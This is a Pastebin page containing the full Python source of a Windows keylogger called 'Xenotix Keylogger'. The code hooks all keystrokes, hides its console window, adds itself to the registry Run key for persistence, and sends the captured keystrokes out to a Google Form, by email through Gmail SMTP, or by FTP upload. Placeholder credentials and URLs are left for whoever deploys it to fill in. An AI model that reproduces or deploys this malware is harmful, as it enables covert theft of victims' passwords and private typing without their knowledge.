Advertisement
Guest User

Untitled

a guest
Dec 30th, 2016
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.71 KB | None | 0 0
  1. try:
  2.     import pythoncom, pyHook
  3. except:
  4.     print "Please Install pythoncom and pyHook modules"
  5.     exit(0)
  6. import os
  7. import sys
  8. import threading
  9. import urllib,urllib2
  10. import smtplib
  11. import ftplib
  12. import datetime,time
  13. import win32event, win32api, winerror
  14. from _winreg import *
  15.  
  16. #Disallowing Multiple Instance
  17. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  18. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  19.     mutex = None
  20.     print "Multiple Instance not Allowed"
  21.     exit(0)
  22. x=''
  23. data=''
  24. count=0
  25.  
  26. #Hide Console
  27. def hide():
  28.     import win32console,win32gui
  29.     window = win32console.GetConsoleWindow()
  30.     win32gui.ShowWindow(window,0)
  31.     return True
  32.  
  33. def msg():
  34.     print """\n \n
  35.     local: store the logs in a file [keylogs.txt]
  36.  
  37.     remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  38.  
  39.     email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  40.  
  41.     ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  42. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  43.     return True
  44.  
  45. # Add to startup
  46. def addStartup():
  47.     fp=os.path.dirname(os.path.realpath(__file__))
  48.     file_name=sys.argv[0].split("\\")[-1]
  49.     new_file_path=fp+"\\"+file_name
  50.     keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  51.  
  52.     key2change= OpenKey(HKEY_CURRENT_USER,
  53.     keyVal,0,KEY_ALL_ACCESS)
  54.  
  55.     SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  56.  
  57. #Local Keylogger
  58. def local():
  59.     global data
  60.     if len(data)>100:
  61.         fp=open("keylogs.txt","a")
  62.         fp.write(data)
  63.         fp.close()
  64.         data=''
  65.     return True
  66.  
  67. #Remote Google Form logs post
  68. def remote():
  69.     global data
  70.     if len(data)>100:
  71.         url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  72.         klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  73.         try:
  74.             dataenc=urllib.urlencode(klog)
  75.             req=urllib2.Request(url,dataenc)
  76.             response=urllib2.urlopen(req)
  77.             data=''
  78.         except Exception as e:
  79.             print e
  80.     return True
  81.  
  82. #Email Logs
  83. class TimerClass(threading.Thread):
  84.     def __init__(self):
  85.         threading.Thread.__init__(self)
  86.         self.event = threading.Event()
  87.     def run(self):
  88.         while not self.event.is_set():
  89.             global data
  90.             if len(data)>100:
  91.                 ts = datetime.datetime.now()
  92.                 SERVER = "smtp.gmail.com" #Specify Server Here
  93.                 PORT = 587 #Specify Port Here
  94.                 USER="your_email@gmail.com"#Specify Username Here
  95.                 PASS="password_here"#Specify Password Here
  96.                 FROM = USER#From address is taken from username
  97.                 TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  98.                 SUBJECT = "Keylogger data: "+str(ts)
  99.                 MESSAGE = data
  100.                 message = """\
  101. From: %s
  102. To: %s
  103. Subject: %s
  104. %s
  105. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  106.                 try:
  107.                     server = smtplib.SMTP()
  108.                     server.connect(SERVER,PORT)
  109.                     server.starttls()
  110.                     server.login(USER,PASS)
  111.                     server.sendmail(FROM, TO, message)
  112.                     data=''
  113.                     server.quit()
  114.                 except Exception as e:
  115.                     print e
  116.             self.event.wait(120)
  117.  
  118. #Upload logs to FTP account
  119. def ftp():
  120.     global data,count
  121.     if len(data)>100:
  122.         count+=1
  123.         FILENAME="logs-"+str(count)+".txt"
  124.         fp=open(FILENAME,"a")
  125.         fp.write(data)
  126.         fp.close()
  127.         data=''
  128.         try:
  129.             SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  130.             USERNAME="ftp_username" #Specify your FTP Username
  131.             PASSWORD="ftp_password" #Specify your FTP Password
  132.             SSL=0 #Set 1 for SSL and 0 for normal connection
  133.             OUTPUT_DIR="/" #Specify output directory here
  134.             if SSL==0:
  135.                 ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  136.             elif SSL==1:
  137.                 ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  138.             ft.cwd(OUTPUT_DIR)
  139.             fp=open(FILENAME,'rb')
  140.             cmd= 'STOR' +' '+FILENAME
  141.             ft.storbinary(cmd,fp)
  142.             ft.quit()
  143.             fp.close()
  144.             os.remove(FILENAME)
  145.         except Exception as e:
  146.             print e
  147.     return True
  148.  
  149. def main():
  150.     global x
  151.     if len(sys.argv)==1:
  152.         msg()
  153.         exit(0)
  154.     else:
  155.         if len(sys.argv)>2:
  156.             if sys.argv[2]=="startup":
  157.                 addStartup()
  158.             else:
  159.                 msg()
  160.                 exit(0)
  161.         if sys.argv[1]=="local":
  162.             x=1
  163.             hide()
  164.         elif sys.argv[1]=="remote":
  165.             x=2
  166.             hide()
  167.         elif sys.argv[1]=="email":
  168.             hide()
  169.             email=TimerClass()
  170.             email.start()
  171.         elif sys.argv[1]=="ftp":
  172.             x=4
  173.             hide()
  174.         else:
  175.             msg()
  176.             exit(0)
  177.     return True
  178.  
  179. if __name__ == '__main__':
  180.     main()
  181.  
  182. def keypressed(event):
  183.     global x,data
  184.     if event.Ascii==13:
  185.         keys='<ENTER>'
  186.     elif event.Ascii==8:
  187.         keys='<BACK SPACE>'
  188.     elif event.Ascii==9:
  189.         keys='<TAB>'
  190.     else:
  191.         keys=chr(event.Ascii)
  192.     data=data+keys
  193.     if x==1:
  194.         local()
  195.     elif x==2:
  196.         remote()
  197.     elif x==4:
  198.         ftp()
  199.  
  200. obj = pyHook.HookManager()
  201. obj.KeyDown = keypressed
  202. obj.HookKeyboard()
  203. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement